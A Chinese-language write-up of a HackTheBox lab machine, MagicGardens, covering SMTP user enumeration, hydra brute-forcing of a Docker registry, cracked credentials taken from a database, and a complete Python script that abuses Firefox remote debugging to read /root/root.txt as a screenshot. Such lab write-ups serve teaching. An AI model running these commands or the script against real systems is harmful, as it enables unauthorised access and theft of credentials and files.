总体思路
SMTP用户爆破->5000端口Docker注册表爆破->敏感数据泄露->Firefox远程调试LFI
信息收集&端口利用
nmap -sSVC 10.10.11.9
目标开放了22、25、80、5000端口,先看80端口是否存在利用点
目录扫描结果大部分都是302跳转到admin界面,但是网站本身也有一个login界面,访问之
普通的登录界面存在注册功能,再看admin目录
是一个Django组件的登录界面,在exploit-db搜索漏洞
所给出的poc均无法利用,再回到login界面处,注册了名为11的用户
发现能够购买商品,但是点击购买后没有别的数据
那么先看个人界面
有个人信息、购买历史、信息和订阅几个选项,在信息选项中,能看到可以发送信息,想到能不能通过给管理员发送信息,获取其登录凭证
此处创建了另外一个号,然后给他发送poc尝试获取其cookie,但是没有作用(悲
又看了一遍80端口的网页,发现还是没有利用点,于是转换思路,查看25端口
SMTP用户爆破
在之前的端口扫描中,可以看到25端口支持VRFY
VRFY命令用于验证用户是否存在于SMTP服务器上。攻击者可以使用VRFY命令来枚举用户,从而获取有关目标系统的有用信息。在现代SMTP服务器上,通常会禁用VRFY命令以防止用户枚举攻击
这里我们使用msf中的auxiliary/scanner/smtp/smtp_enum模块对可能存在的用户名进行爆破(需要更换字典)
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set rhosts 10.10.11.9
rhosts => 10.10.11.9
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 10.10.11.9:25 - 10.10.11.9:25 Banner: 220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU)
[+] 10.10.11.9:25 - 10.10.11.9:25 Users found: , _apt, alex, avahi-autoipd, backup, bin, daemon, games, irc, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, systemd-network, uucp, www-data
[*] 10.10.11.9:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
发现了邮件用户alex,想到还有5000端口的ssl/http Docker Registry (API: 2.0)服务,尝试爆破
Docker注册表爆破
这里使用hydra对其进行爆破
hydra -l alex -P /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/
得到alex的凭证:alex/diamonds
对于5000端口,具体的利用信息可以参考以下链接
https://book.hacktricks.xyz/v/cn/network-services-pentesting/5000-pentesting-docker-registry
在获取登录访问权限后,逐一枚举信息
#List repositories
curl -k -u alex:diamonds http://10.10.11.9:5000/v2/_catalog
{"repositories":["magicgardens.htb"]}
#Get tags of a repository
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
{"name":"magicgardens.htb","tags":["1.3"]}
#Get manifests
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/manifests/1.3
{
"schemaVersion": 1,
"name": "magicgardens.htb",
"tag": "1.3",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
......
{
"v1Compatibility": "{\"id\":\"b296c87bc9a3ebdb9fb6c992b3e4f61e6b364be73864849e386a2dd0321856df\",\"created\":\"2023-08-16T00:59:30.831171691Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:3a6d159d80cb8abfacda5873c243a6ae635ff603708febc4df51f8eec26d3de7 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "GCEN:ZRZG:PH4S:5DYA:2JJZ:MKYZ:Q7BJ:XHCS:TCDE:G5X7:3LP2:VHOC",
"kty": "EC",
"x": "rXaAeR65MXRR4MeRDHTSXBXRXEsjL8ckaptdT52Q3Is",
"y": "klREGDVR5l-jXIcne5aI4nY-PoDlMnVeOrpjIAk04Vk"
},
"alg": "ES256"
},
"signature": "3M60SYpaDbEJvIaMJHTBxtT8ck6SfCSAZZB1zXWlkFZdgLV4cWtqH9jJKDOIMAotZNfibyMrh8NRRJBpkuf7ow",
"protected": "eyJmb3JtYXRMZW5ndGgiOjIwNzU5LCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjQtMDUtMjFUMDM6NDM6NDdaIn0"
}
]
}
其中blobSum后跟的是文件的名称
使用DockerRegistryGrabber将其下载下来
全部解压后逐一查看
在一个usr/src/app中,看到db.sqlite3文件
使用sqlite打开并查看数据库信息
发现了morty用户的加密后密码,将这一段密码在hashcat中查找,正好是Django的加密方式
扔进hashcat解密
解得morty用户的登录凭证:morty/jonasbrothers
尝试ssh
同时,也能够登录进80端口的admin界面
--------------------------------------------更新分界线--------------------------------------------
登录到ssh后,将linpeas上传到靶机,查看是否能扫描出漏洞
非预期方式
发现有一段黄底红字的进程
这个命令行是用来启动 Firefox Extended Support Release(Firefox ESR)的浏览器实例,并配置它以支持自动化测试,特别是与 Selenium WebDriver 和 Marionette 结合使用时。以下是各个参数的解释:
firefox-esr:这是 Firefox ESR 的可执行文件。Firefox ESR 是为那些需要更长时间支持旧版本的企业和组织提供的 Firefox 版本。
–marionette:启用 Marionette 驱动,这是 Firefox 的 WebDriver 实现。它允许通过 Selenium 或其他 WebDriver 兼容的自动化工具来控制 Firefox。
–headless:在无头模式下启动 Firefox,这意味着浏览器将不会显示图形用户界面(GUI)。这通常用于自动化测试或在没有图形界面的服务器上运行浏览器。
–remote-debugging-port 52735:设置远程调试端口为 52735。通过这个端口,你可以使用 Firefox 开发者工具进行远程调试,或者与其他工具(如 Selenium Grid)进行通信。
–remote-allow-hosts localhost:允许来自 localhost 的远程连接。这通常与 --remote-debugging-port 一起使用,以确保只有来自本地主机的连接才能访问调试端口。
-no-remote:防止 Firefox 尝试打开已经运行的实例。在自动化测试环境中,这个选项很重要,因为它确保你能够控制一个全新的浏览器实例。
-profile /tmp/rust_mozprofileba09VC:使用指定的配置文件夹来启动 Firefox。在这个例子中,配置文件夹位于 /tmp/rust_mozprofileba09VC。这允许你为特定的浏览器实例配置特定的设置、扩展、书签等。
可以看到由于root正在运行启用了远程调试的Firefox,因此肯定存在这种方式的漏洞。CDP协议允许打开任何URL的页面,包括“file://”。它还允许捕获浏览器窗口的屏幕截图,两者结合在一起可以获得任何PNG文件
将靶机的52735端口转发到本地
执行以下poc,就能得到一张包含/root/roo.txt的PNG图片
#poc.py
import json
import requests
import websocket
import base64
debugger_address = 'http://localhost:52735' # Change port
response = requests.get(f'{debugger_address}/json')
tabs = response.json()
web_socket_debugger_url = tabs[0]['webSocketDebuggerUrl'].replace('127.0.0.1', 'localhost')
print(f'Connect to url: {web_socket_debugger_url}')
ws = websocket.create_connection(web_socket_debugger_url, suppress_origin=True)
command = json.dumps({
"id": 5,
"method": "Target.createTarget",
"params": {
"url": "file:///root/root.txt"
}
})
ws.send(command)
target_id = json.loads(ws.recv())['result']['targetId']
print(f'Target id: {target_id}')
command = json.dumps({
"id": 5,
"method": "Target.attachToTarget",
"params": {
"targetId": target_id,
"flatten": True
}})
ws.send(command)
session_id = json.loads(ws.recv())['params']['sessionId']
print(f'Session id: {session_id}')
command = json.dumps({
"id": 5,
"sessionId": session_id,
"method": "Page.captureScreenshot",
"params": {
"sessionId": session_id,
"format": "png"
}
})
ws.send(command)
result = json.loads(ws.recv())
# I don’t know why but you have to do this twice
ws.send(command)
result = json.loads(ws.recv())
if 'result' in result and 'data' in result['result']:
print("Success file reading")
with open("root.png", "wb") as file:
file.write(base64.b64decode(result['result']['data']))
else:
print("Error file reading")
ws.close()
有思路了再更新预期打法